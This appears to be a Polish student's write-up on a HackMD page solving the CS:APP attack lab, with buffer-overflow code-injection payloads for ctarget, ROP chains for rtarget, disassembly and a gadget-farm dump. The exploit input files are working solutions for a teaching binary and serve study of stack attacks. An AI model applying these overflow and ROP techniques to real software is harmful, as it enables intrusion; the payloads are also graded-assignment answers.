Tomasz Woszczyński
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit
      • Invitee
      • No invitee
    • Publish Note

      Publish Note

      Everyone on the web can find and read all notes of this public team.
      Once published, notes can be searched and viewed by anyone online.
      See published notes
      Please check the box to agree to the Community Guidelines.
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Versions and GitHub Sync
    • Note settings
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Versions and GitHub Sync Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit
Invitee
No invitee
Publish Note

Publish Note

Everyone on the web can find and read all notes of this public team.
Once published, notes can be searched and viewed by anyone online.
See published notes
Please check the box to agree to the Community Guidelines.
Engagement control
Commenting
Permission
Disabled Forbidden Owners Signed-in users Everyone
Enable
Permission
  • Forbidden
  • Owners
  • Signed-in users
  • Everyone
Suggest edit
Permission
Disabled Forbidden Owners Signed-in users Everyone
Enable
Permission
  • Forbidden
  • Owners
  • Signed-in users
Import from Dropbox Google Drive Gist Clipboard
   owned this note    owned this note      
Published Linked with GitHub
Subscribed
  • Any changes
    Be notified of any changes
  • Mention me
    Be notified of mention me
  • Unsubscribe
Subscribe
# Architektury systemów komputerowych - atak hakerski Podobnie jak w przypadku rozbrajania bomby, postaram się przedstawić swoje rozwiązanie wszystkich faz/zadań. Trzy pierwsze polegają na stworzeniu ciągów znaków dla programu `ctarget` (wstrzyknięcie kodu), kolejne polegają na zidentyfikowaniu w wykonywalnym segmencie programu użytecznych (dla hakera) ciągów instrukcji zakończonych instrukcją powrotu z procedury `ret`. W samych zadaniach ważna jest kolejność bajtów w systemie (endianness), można to sprawdzić poleceniem: `lscpu | grep Endian` - w moim przypadku jest to Little Endian. Hodowla wszystkich gadżetów znajduje się na samym dole, żeby nie utrudniać dostępu do bardziej wartościowego tekstu. Pliki przerobione narzędziem `hex2raw` można podjerzeć poleceniem `hd`. ## Wstrzyknięcie kodu ### Zadanie 1 Uruchamiamy `gdb ctarget`, ustawiamy breakpoint na procedurę `getbuf`, a następnie po uruchomieniu deasemblujemy ją: ``` Dump of assembler code for function getbuf: => 0x0000000000401b8f <+0>: sub $0x28,%rsp 0x0000000000401b93 <+4>: mov %rsp,%rdi 0x0000000000401b96 <+7>: callq 0x401dde <Gets> 0x0000000000401b9b <+12>: mov $0x1,%eax 0x0000000000401ba0 <+17>: add $0x28,%rsp 0x0000000000401ba4 <+21>: retq End of assembler dump. ``` Wiemy, że rozmiar bufora jest stały, a więc wystarczy spojrzeć na linijkę `sub $0x28,%rsp`, aby dowiedzieć się, że bufor ma `0x28 = 40` bajtów, należy jeszcze sprawdzić adres procedury `touch1`, co możemy znaleźć w wydruku objdump pliku `ctarget`: ``` 0000000000401ba5 <touch1>: 401ba5: 48 83 ec 08 sub $0x8,%rsp 401ba9: c7 05 4d 49 00 00 01 movl $0x1,0x494d(%rip) # 406500 <vlevel> 401bb0: 00 00 00 401bb3: 48 8d 3d 5d 17 00 00 lea 0x175d(%rip),%rdi # 403317 <_IO_stdin_used+0x317> 401bba: e8 c1 f4 ff ff callq 401080 <puts@plt> 401bbf: bf 01 00 00 00 mov $0x1,%edi 401bc4: e8 0f 03 00 00 callq 401ed8 <validate> 401bc9: bf 00 00 00 00 mov $0x0,%edi 401bce: e8 1d f6 ff ff callq 4011f0 <exit@plt> ``` Adresem jest więc `0x401ba5`. Teraz tworzymy plik `phase1.txt`, który następnie narzędziem `hex2raw` przerobimy na surowy plik `rawphase1.txt`, który będzie wejściem do `ctarget`: ``` 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /* dotąd jest padding (40 bajtów, tyle co bufor) */ a5 1b 40 00 00 00 00 00 /* adres touch1 w little-endian */` ``` Poprawne wywołanie programu `hex2raw` do zamiany pliku: ``` ./hex2raw < phase1.txt > rawphase1.txt ^^^^^^^^^^^^ ^^^^^^^^^^^^^^^ wczytaj z pliku zapisz do pliku ``` Po tym wszystkim odpalamy `./ctarget rawphase1.txt` i naszym oczom ukazuje się to: ``` Cookie: 0x2c2eddb8 Type string:Touch1!: You called touch1() Valid solution for level 1 with target ctarget PASS ``` ### Zadanie 2 To zadanie jest już troszkę bardziej skomplikowane, spójrzmy na procedurę `touch2`: ``` 0000000000401bd3 <touch2>: 401bd3: 48 83 ec 08 sub $0x8,%rsp 401bd7: 89 fe mov %edi,%esi 401bd9: c7 05 1d 49 00 00 02 movl $0x2,0x491d(%rip) # 406500 <vlevel> 401be0: 00 00 00 401be3: 39 3d 1f 49 00 00 cmp %edi,0x491f(%rip) # 406508 <cookie> 401be9: 74 25 je 401c10 <touch2+0x3d> 401beb: 48 8d 3d 76 17 00 00 lea 0x1776(%rip),%rdi # 403368 <_IO_stdin_used+0x368> 401bf2: b8 00 00 00 00 mov $0x0,%eax 401bf7: e8 b4 f4 ff ff callq 4010b0 <printf@plt> 401bfc: bf 02 00 00 00 mov $0x2,%edi 401c01: e8 90 03 00 00 callq 401f96 <fail> 401c06: bf 00 00 00 00 mov $0x0,%edi 401c0b: e8 e0 f5 ff ff callq 4011f0 <exit@plt> 401c10: 48 8d 3d 29 17 00 00 lea 0x1729(%rip),%rdi # 403340 <_IO_stdin_used+0x340> 401c17: b8 00 00 00 00 mov $0x0,%eax 401c1c: e8 8f f4 ff ff callq 4010b0 <printf@plt> 401c21: bf 02 00 00 00 mov $0x2,%edi 401c26: e8 ad 02 00 00 callq 401ed8 <validate> 401c2b: eb d9 jmp 401c06 <touch2+0x33> ``` Wiemy, że pierwszy argument jest przekazywany w `%rdi`, a więc naszym zadaniem jest zmodyfikowanie tego rejestru, aby przechować tam nasze ciasteczko. W tym celu piszemy prosty kod, w którym przeniesiemy nasze ciasteczko do `%rdi`, zapiszemy to w pliku `phase2.s`: ``` movq $0x2c2eddb8,%rdi retq ``` Kod ten kompilujemy poleceniem `gcc -c phase2.s`, a następnie kod wyjściowy deasemblujemy, aby uzyskać reprezentację bajtową kodu asemblera: ``` 0000000000000000 <.text>: 0: 48 c7 c7 b8 dd 2e 2c mov $0x2c2eddb8,%rdi 7: c3 retq ``` Nas interesuje ta część: `48 c7 c7 b8 dd 2e 2c c3`. Przejdźmy teraz do znalezienia adresu rejestru `%rsp`: odpalamy `gdb ctarget`, ustawiamy breakpoint na `getbuf` i uruchamiamy debugowanie, po czym deasemblujemy funkcję: ``` Dump of assembler code for function getbuf: => 0x0000000000401b8f <+0>: sub $0x28,%rsp 0x0000000000401b93 <+4>: mov %rsp,%rdi 0x0000000000401b96 <+7>: callq 0x401dde <Gets> 0x0000000000401b9b <+12>: mov $0x1,%eax 0x0000000000401ba0 <+17>: add $0x28,%rsp 0x0000000000401ba4 <+21>: retq End of assembler dump. ``` Kilka razy wpisujemy `ni`, aby przejść do kolejnej instrukcji, jak będziemy przy wywołaniu `<Gets>`, to coś wpisujemy, a następnie sprawdzamy zawartość `%rsp` poleceniem `x/s $rsp`. Otrzymujemy adres `0x5564d408`, obok niego powinien pojawić się wpisany przez nas tekst. Możemy przejść do stworzenia pliku `phase2.txt`: ``` 48 c7 c7 b8 dd 2e 2c c3 /* tutaj instrukcja z przypisania ciasteczka do %rdi */ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /* dotąd mamy padding */ 08 d4 64 55 00 00 00 00 /* adres zwrotny %rsp */ d3 1b 40 00 00 00 00 00 /* adres funkcji touch2 */ ``` Zostało nam tylko zmienienie pliku na "surowy": `./hex2raw < phase2.txt > rawphase2.txt`, a następnie uruchomienie `./ctarget < rawphase2.txt`. Wiadomość zwrotna: ``` Cookie: 0x2c2eddb8 Type string:Touch2!: You called touch2(0x2c2eddb8) Valid solution for level 2 with target ctarget PASS ``` ### Zadanie 3 To zadanie jest bardzo zbliżone do poprzedniego, jednak najpierw przekazujemy adres dla ciasteczka do rejestru `%rdi`. Policzmy liczbę potrzebnych bajtów przed ciasteczkiem: ``` 0x28 (bufor) + 0x8 (adres zwrotny %rsp) + 0x8 (adres touch3) = 0x38 = 56 ``` Adres rejestru `%rsp` możemy wziąć z poprzedniego zadania, jest to `0x5564d408` - do niego musimy dodać obliczoną przed chwilą wartość, a więc `0x38`, otrzymamy więc `0x5564d440`. Znów tworzymy kod asemblera (taki jak w zadaniu 2): ``` movq $0x5564d440, %rdi retq ``` i deasemblujemy go: ``` 0000000000000000 <.text>: 0: 48 c7 c7 40 d4 64 55 mov $0x5564d440,%rdi 7: c3 retq ``` Interesująca część to `48 c7 c7 40 d4 64 55 c3`. Przejdźmy więc do stworzenia pliku `phase3.txt`, potrzebny będzie nam jednak adres funkcji `touch3`, który uzyskamy deasemblując cały plik wykonywalny `ctarget`: ``` 0000000000401cae <touch3>: 401cae: 53 push %rbx 401caf: 48 89 fb mov %rdi,%rbx 401cb2: c7 05 44 48 00 00 03 movl $0x3,0x4844(%rip) # 406500 <vlevel> 401cb9: 00 00 00 401cbc: 48 89 fe mov %rdi,%rsi 401cbf: 8b 3d 43 48 00 00 mov 0x4843(%rip),%edi # 406508 <cookie> 401cc5: e8 63 ff ff ff callq 401c2d <hexmatch> 401cca: 85 c0 test %eax,%eax 401ccc: 74 28 je 401cf6 <touch3+0x48> 401cce: 48 89 de mov %rbx,%rsi 401cd1: 48 8d 3d b8 16 00 00 lea 0x16b8(%rip),%rdi # 403390 <_IO_stdin_used+0x390> 401cd8: b8 00 00 00 00 mov $0x0,%eax 401cdd: e8 ce f3 ff ff callq 4010b0 <printf@plt> 401ce2: bf 03 00 00 00 mov $0x3,%edi 401ce7: e8 ec 01 00 00 callq 401ed8 <validate> 401cec: bf 00 00 00 00 mov $0x0,%edi 401cf1: e8 fa f4 ff ff callq 4011f0 <exit@plt> 401cf6: 48 89 de mov %rbx,%rsi 401cf9: 48 8d 3d b8 16 00 00 lea 0x16b8(%rip),%rdi # 4033b8 <_IO_stdin_used+0x3b8> 401d00: b8 00 00 00 00 mov $0x0,%eax 401d05: e8 a6 f3 ff ff callq 4010b0 <printf@plt> 401d0a: bf 03 00 00 00 mov $0x3,%edi 401d0f: e8 82 02 00 00 callq 401f96 <fail> 401d14: eb d6 jmp 401cec <touch3+0x3e> ``` Plik `phase3.txt` będzie wyglądał następująco: ``` 48 c7 c7 40 d4 64 55 c3 /* 0x38(%rsp) - miejsce ciasteczka */ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /* dotąd padding */ 08 d4 64 55 00 00 00 00 /* adres zwrotny %rsp */ ae 1c 40 00 00 00 00 00 /* adres funkcji touch3 */ 32 63 32 65 64 64 62 38 /* string ciasteczka (cyfry -> ascii) */ ``` Znów odpalamy `hex2raw`, a następnie `ctarget` z wejściem `rawphase3.txt`, otrzymujemy: ``` Cookie: 0x2c2eddb8 Type string:Touch3!: You called touch3("2c2eddb8") Valid solution for level 3 with target ctarget PASS ``` W ten sposób kończymy pierwszą serię ataków. ## Konstrukcja łańcuchów powrotów z procedur (ROP) Wybierając poszczególne instrukcje `movq`, `movl` oraz `popq` musimy uważać, aby skorzystać z gadżetów zawierających tylko te instrukcje wspomniane w tabelce 4. lub instrukcji kodowanej jako `0x90`, tzn. instrukcji nop (no operation). Dzięki temu wykonamy tylko te fragmenty kodu gadżetów, które powinniśmy wykonać. Musimy unikać więc instrukcji zakończonych na np. `0x91`. ![](https://i.imgur.com/G9ax3DE.png) ### Zadanie 4 Zajrzyjmy do zdeasemblowanego kodu i poszukajmy gadżetów z jednym z kodowań instrukcji z tabelki: ![](https://i.imgur.com/ADj8m8V.png) Bajt `58` z poniższej instrukcji koduje `popq %rax`: ``` 0000000000401d48 <addval_364>: 401d48: 8d 87 80 73 e6 58 lea 0x58e67380(%rdi),%eax 401d4e: c3 retq ``` Interesująca nas instrukcja znajduje się na adresie `401d48` przesuniętym o 5 bajtów, a więc na `0x401d4d`. Musimy jeszcze przenieść ciasteczka z `%rax` do `%rdi`, szukamy więc instrukcji, która koduje `48 89 c7`, a więc `movq %rax, %rdi`. Ponownie bierzemy jej adres (z uzwzględnieniem przesunięcia), a więc `0x401d5c + 0x2 = 0x401d5e`. ``` 0000000000401d5c <setval_142>: 401d5c: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) 401d62: c3 retq ``` Otrzymujemy kod `phase4.txt`: ``` 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /* dotąd padding, aby móc nadpisać adres powrotu */ 4d 1d 40 00 00 00 00 00 /* adres instrukcji zawierającej popq %rax */ b8 dd 2e 2c 00 00 00 00 /* ciasteczko w little endian */ 5e 1d 40 00 00 00 00 00 /* adres instrukcji zawierającej movq %rax, %rdi */ d3 1b 40 00 00 00 00 00 /* wywołanie touch2 */ ``` Zmieniamy go przy użyciu hex2raw, wywołujemy `./rtarget < rawphase4.txt` i otrzymujemy: ``` Cookie: 0x2c2eddb8 Type string:Touch2!: You called touch2(0x2c2eddb8) Valid solution for level 2 with target rtarget PASS ``` ### Zadanie 5 Najpierw musimy uwzględnić padding dla bufora jak w każdym poprzednim zadaniu, następnie wczytujemy wartość ze stosu `%rsp` do `%rax`, wykorzystujemy do tego gadżet: ```c= 0000000000401d8e <getval_217>: 401d8e: b8 b6 48 89 e0 mov $0xe08948b6,%eax 401d93: c3 retq ``` Instrukcja `movq %rsp, %rax` znajduje się na bajcie oddalonym o 2 od początku instrukcji, więc `0x401d8e + 0x2 = 0x401d90`. Kolejnym krokiem jest przeniesienie wartości z `%rax` do `%rdi` (gdyż w mojej hodowli nie ma żadnego gadżetu przenoszącego wartość ze stosu do `%rdi`). Instrukcję tą zawierają aż trzy gadżety, wybrać należy go w sposób opisany powyżej (przy początku sekcji ROP). ```c= 0000000000401d55 <setval_122>: 401d55: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) 401d5b: c3 ``` Podobnie jak w poprzednim gadżecie, interesująca nas instrukcja znajduje się na bajcie przesuniętym o 2, a więc `0x401d55 + 0x2 = 0x401d57`. W kolejnych krokach nie będę opisywał już przesunięć instrukcji, wypisywane będą tylko adresy gotowe. Następnie usuwamy wartość z `%rax` instrukcją `popq`, szukamy więc, zgodnie z tabelką, instrukcji o bajtowym kodowaniu `0x58`. Adres tej instrukcji to `0x401d4d`. ```c= 0000000000401d48 <addval_364>: 401d48: 8d 87 80 73 e6 58 lea 0x58e67380(%rdi),%eax 401d4e: c3 retq ``` Po tej instrukcji musimy dodać linijkę `00 00 00 00 00 00 00 00` - przyda nam się później, co będzie opisane na końcu. Od teraz zaczynamy pracować na instrukcjach `movl` i na mniejszych, 32-bitowych rejestrach. Pierwszą instrukcja będzie `movl %eax, %edx` kodowane jako `89 c2`, zawiera ją poniższy gadżet na adresie `0x401de6`. ```c= 0000000000401de5 <getval_284>: 401de5: b8 89 c2 38 d2 mov $0xd238c289,%eax 401dea: c3 retq ``` Następnie będziemy musieli przenieść wartość z `%edx` do `%ecx` (kodowanie `89 d1`), a stąd do `%esi` (kodowanie `89 ce`). Są to kolejno adresy `0x401e48` oraz `0x401e1b`. ```c= 0000000000401e47 <getval_355>: 401e47: b8 89 d1 38 c0 mov $0xc038d189,%eax 401e4c: c3 retq ``` ```c= 0000000000401e1a <getval_445>: 401e1a: b8 89 ce 90 90 mov $0x9090ce89,%eax 401e1f: c3 retq ``` Po wykonaniu tych instrukcji dodajemy wartości rejestrów `%rdi` oraz `%rsi`, zapisujemy je w `%rax`, odpowiada temu jedna instrukcja (w całości!!). ```c= 0000000000401d7c <add_xy>: 401d7c: 48 8d 04 37 lea (%rdi,%rsi,1),%rax 401d80: c3 retq ``` Teraz musimy przenieść nasz argument funkcji z `%rax` do `%rdi`, aby móc wywołac `touch3` z poprawną wartością, użyjemy do tego poniższego gadżetu, a więc adresu `0x401d57`. ```c= 0000000000401d55 <setval_122>: 401d55: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) 401d5b: c3 ``` Możemy wywołać funkcję `touch3`, jej adres odczytujemy objdumpem i jest to `0x401cae`, na końcu wrzucamy ciasteczko w hex (u mnie `32 63 32 65 64 64 62 38`). Teraz przejdźmy do końcowego kodu i wspomnianej linijki złożonej z zerowych bajtów, która na samym końcu powinna zamienić się na `48 00 00 00 00 00 00 00` - spowodowane jest to przesunięciem stringu ciasteczka względem początku instrukcji, a więc w instrukcji `90 1d 40 ...` nasz offset wynosi 0, przechodząc aż do wywołania instrukcji `touch3`, a więc `ae 1c 40 ...` liczymy wszystkie linijki. Mamy ich 9, a w każdej linijce jest 8 bajtów, stąd offset wynosi $9\cdot 8 = 72 = 48_{16}$. ``` 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /* dotąd jest padding */ 90 1d 40 00 00 00 00 00 /* 48 89 e0 == movq %rsp, %rax => getval_217 + 2 */ 57 1d 40 00 00 00 00 00 /* 48 89 c7 == movq %rax, %rdi => setval_122 + 2 */ 4d 1d 40 00 00 00 00 00 /* 58 == popq %rax => addval_364 + 5 */ 48 00 00 00 00 00 00 00 /* offset stringu ciasteczka od poczatku wywołań bez paddingu */ e6 1d 40 00 00 00 00 00 /* 89 c2 == movl %eax, %edx => getval_284 + 1 */ 48 1e 40 00 00 00 00 00 /* 89 d1 == movl %edx, %ecx => getval_355 + 1 */ 1b 1e 40 00 00 00 00 00 /* 89 c3 == movl %ecx, %esi => getval_445 + 1 */ 7c 1d 40 00 00 00 00 00 /* instrukcja add_xy, otrzymujemy %rax = %rdi + %rsi */ 57 1d 40 00 00 00 00 00 /* 48 89 c7 == movq %rax, %rdi => setval_122 + 2 */ ae 1c 40 00 00 00 00 00 /* wywolanie touch3 */ 32 63 32 65 64 64 62 38 /* string ciasteczka w hex */ ``` W końcu możemy zamienić cały pliczek używając hex2raw, odpalić rtarget i uzyskać: ``` Cookie: 0x2c2eddb8 Type string:Touch3!: You called touch3("2c2eddb8") Valid solution for level 3 with target rtarget PASS ``` ## Hodowla gadżetów ```c= 0000000000401d3c <start_farm>: 401d3c: b8 01 00 00 00 mov $0x1,%eax 401d41: c3 retq 0000000000401d42 <getval_259>: 401d42: b8 53 58 90 c3 mov $0xc3905853,%eax 401d47: c3 retq 0000000000401d48 <addval_364>: 401d48: 8d 87 80 73 e6 58 lea 0x58e67380(%rdi),%eax 401d4e: c3 retq 0000000000401d4f <getval_261>: 401d4f: b8 08 89 c7 90 mov $0x90c78908,%eax 401d54: c3 retq 0000000000401d55 <setval_122>: 401d55: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) 401d5b: c3 retq 0000000000401d5c <setval_142>: 401d5c: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) 401d62: c3 retq 0000000000401d63 <getval_318>: 401d63: b8 66 78 c3 51 mov $0x51c37866,%eax 401d68: c3 retq 0000000000401d69 <getval_415>: 401d69: b8 48 89 c7 91 mov $0x91c78948,%eax 401d6e: c3 retq 0000000000401d6f <setval_404>: 401d6f: c7 07 e7 58 91 90 movl $0x909158e7,(%rdi) 401d75: c3 retq 0000000000401d76 <mid_farm>: 401d76: b8 01 00 00 00 mov $0x1,%eax 401d7b: c3 retq 0000000000401d7c <add_xy>: 401d7c: 48 8d 04 37 lea (%rdi,%rsi,1),%rax 401d80: c3 retq 0000000000401d81 <addval_319>: 401d81: 8d 87 89 d1 38 c0 lea -0x3fc72e77(%rdi),%eax 401d87: c3 retq 0000000000401d88 <getval_420>: 401d88: b8 89 c2 18 c9 mov $0xc918c289,%eax 401d8d: c3 retq 0000000000401d8e <getval_217>: 401d8e: b8 b6 48 89 e0 mov $0xe08948b6,%eax 401d93: c3 retq 0000000000401d94 <addval_233>: 401d94: 8d 87 89 d1 a4 c0 lea -0x3f5b2e77(%rdi),%eax 401d9a: c3 retq 0000000000401d9b <addval_204>: 401d9b: 8d 87 8d d1 20 c0 lea -0x3fdf2e73(%rdi),%eax 401da1: c3 retq 0000000000401da2 <addval_391>: 401da2: 8d 87 c8 89 e0 c3 lea -0x3c1f7638(%rdi),%eax 401da8: c3 retq 0000000000401da9 <addval_244>: 401da9: 8d 87 48 89 e0 c2 lea -0x3d1f76b8(%rdi),%eax 401daf: c3 retq 0000000000401db0 <getval_119>: 401db0: b8 48 09 e0 c3 mov $0xc3e00948,%eax 401db5: c3 retq 0000000000401db6 <addval_287>: 401db6: 8d 87 09 ce 08 db lea -0x24f731f7(%rdi),%eax 401dbc: c3 retq 0000000000401dbd <setval_397>: 401dbd: c7 07 89 c2 c4 d2 movl $0xd2c4c289,(%rdi) 401dc3: c3 retq 0000000000401dc4 <setval_476>: 401dc4: c7 07 48 89 e0 92 movl $0x92e08948,(%rdi) 401dca: c3 retq 0000000000401dcb <addval_402>: 401dcb: 8d 87 89 c2 30 d2 lea -0x2dcf3d77(%rdi),%eax 401dd1: c3 retq 0000000000401dd2 <getval_235>: 401dd2: b8 89 ce 00 db mov $0xdb00ce89,%eax 401dd7: c3 retq 0000000000401dd8 <getval_185>: 401dd8: b8 a8 48 c9 e0 mov $0xe0c948a8,%eax 401ddd: c3 retq 0000000000401dde <setval_356>: 401dde: c7 07 89 ce 18 db movl $0xdb18ce89,(%rdi) 401de4: c3 retq 0000000000401de5 <getval_284>: 401de5: b8 89 c2 38 d2 mov $0xd238c289,%eax 401dea: c3 retq 0000000000401deb <getval_225>: 401deb: b8 4f a7 89 ce mov $0xce89a74f,%eax 401df0: c3 retq 0000000000401df1 <addval_312>: 401df1: 8d 87 48 89 e0 92 lea -0x6d1f76b8(%rdi),%eax 401df7: c3 retq 0000000000401df8 <setval_350>: 401df8: c7 07 09 d1 08 c0 movl $0xc008d109,(%rdi) 401dfe: c3 retq 0000000000401dff <addval_389>: 401dff: 8d 87 99 c2 84 db lea -0x247b3d67(%rdi),%eax 401e05: c3 retq 0000000000401e06 <getval_317>: 401e06: b8 89 c2 c3 cb mov $0xcbc3c289,%eax 401e0b: c3 retq 0000000000401e0c <addval_474>: 401e0c: 8d 87 89 d1 c4 db lea -0x243b2e77(%rdi),%eax 401e12: c3 retq 0000000000401e13 <setval_268>: 401e13: c7 07 99 d1 90 c3 movl $0xc390d199,(%rdi) 401e19: c3 retq 0000000000401e1a <getval_445>: 401e1a: b8 89 ce 90 90 mov $0x9090ce89,%eax 401e1f: c3 retq 0000000000401e20 <getval_384>: 401e20: b8 89 c2 00 db mov $0xdb00c289,%eax 401e25: c3 retq 0000000000401e26 <setval_307>: 401e26: c7 07 09 c2 84 c0 movl $0xc084c209,(%rdi) 401e2c: c3 retq 0000000000401e2d <getval_223>: 401e2d: b8 48 89 e0 90 mov $0x90e08948,%eax 401e32: c3 retq 0000000000401e33 <addval_413>: 401e33: 8d 87 99 ce 90 c3 lea -0x3c6f3167(%rdi),%eax 401e39: c3 retq 0000000000401e3a <addval_480>: 401e3a: 8d 87 89 ce 18 c9 lea -0x36e73177(%rdi),%eax 401e40: c3 retq 0000000000401e41 <getval_344>: 401e41: b8 89 d1 94 90 mov $0x9094d189,%eax 401e46: c3 retq 0000000000401e47 <getval_355>: 401e47: b8 89 d1 38 c0 mov $0xc038d189,%eax 401e4c: c3 retq 0000000000401e4d <addval_366>: 401e4d: 8d 87 89 ce c4 c0 lea -0x3f3b3177(%rdi),%eax 401e53: c3 retq 0000000000401e54 <end_farm>: 401e54: b8 01 00 00 00 mov $0x1,%eax 401e59: c3 retq ```

Import from clipboard

Advanced permission required

Your current role can only read. Ask the system administrator to acquire write and comment permission.

This team is disabled

Sorry, this team is disabled. You can't edit this note.

This note is locked

Sorry, only owner can edit this note.

Reach the limit

Sorry, you've reached the max length this note can be.
Please reduce the content or divide it to more notes, thank you!

Import from Gist

Import from Snippet

or

Export to Snippet

Are you sure?

Do you really want to delete this note?
All users will lose their connection.

Create a note from template

Create a note from template

Oops...
This template is not available.
Upgrade
All
  • All
  • Team
No template found.

Create custom template

Upgrade

Delete template

Do you really want to delete this template?
Turn this template into a regular note and keep its content, versions, and comments.

This page need refresh

You have an incompatible client version.
Refresh to update.
New version available!
See releases notes here
Refresh to enjoy new features.
Your user state has changed.
Refresh to load new user state.

Sign in

Forgot password

or

By clicking below, you agree to our terms of service.

Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
Wallet ( )
Connect another wallet

New to HackMD? Sign up

Help

  • English
  • 中文
  • Français
  • Deutsch
  • 日本語
  • Español
  • Català
  • Ελληνικά
  • Português
  • italiano
  • Türkçe
  • Русский
  • Nederlands
  • hrvatski jezik
  • język polski
  • Українська
  • हिन्दी
  • svenska
  • Esperanto
  • dansk

Documents

Help & Tutorial

How to use Book mode

How to use Slide mode

API Docs

Edit in VSCode

Install browser extension

Get in Touch

Feedback

Discord

Send us email

Resources

Releases

Pricing

Blog

Policy

Terms

Privacy

Cheatsheet

Syntax Example Reference
# Header Header 基本排版
- Unordered List
  • Unordered List
1. Ordered List
  1. Ordered List
- [ ] Todo List
  • Todo List
> Blockquote
Blockquote
**Bold font** Bold font
*Italics font* Italics font
~~Strikethrough~~ Strikethrough
19^th^ 19th
H~2~O H2O
++Inserted text++ Inserted text
==Marked text== Marked text
[link text](https:// "title") Link
![image alt](https:// "title") Image
`Code` Code 在筆記中貼入程式碼
```javascript
var i = 0;
```
var i = 0;
:smile: :smile: Emoji list
{%youtube youtube_id %} Externals
$L^aT_eX$ LaTeX
:::info
This is a alert area.
:::

This is a alert area.

Versions and GitHub Sync
Upgrade to Prime Plan

  • Edit version name
  • Delete

revision author avatar     named on  

More Less

No updates to save
Compare with
    Choose a version
    No search result
    Version not found
Sign in to link this note to GitHub
Learn more
This note is not linked with GitHub
 

Feedback

Submission failed, please try again

Thanks for your support.

On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

Please give us some advice and help us improve HackMD.

 

Thanks for your feedback

Remove version name

Do you want to remove this version name and description?

Transfer ownership

Transfer to
    Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

      Link with GitHub

      Please authorize HackMD on GitHub
      • Please sign in to GitHub and install the HackMD app on your GitHub repo.
      • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
      Learn more  Sign in to GitHub

      Push the note to GitHub Push to GitHub Pull a file from GitHub

        Authorize again
       

      Choose which file to push to

      Select repo
      Refresh Authorize more repos
      Select branch
      Select file
      Select branch
      Choose version(s) to push
      • Save a new version and push
      • Choose from existing versions
      Include title and tags
      Available push count

      Upgrade

      Pull from GitHub

       
      File from GitHub
      File from HackMD

      GitHub Link Settings

      File linked

      Linked by
      File path
      Last synced branch
      Available push count

      Upgrade

      Danger Zone

      Unlink
      You will no longer receive notification when GitHub file changes after unlink.

      Syncing

      Push failed

      Push successfully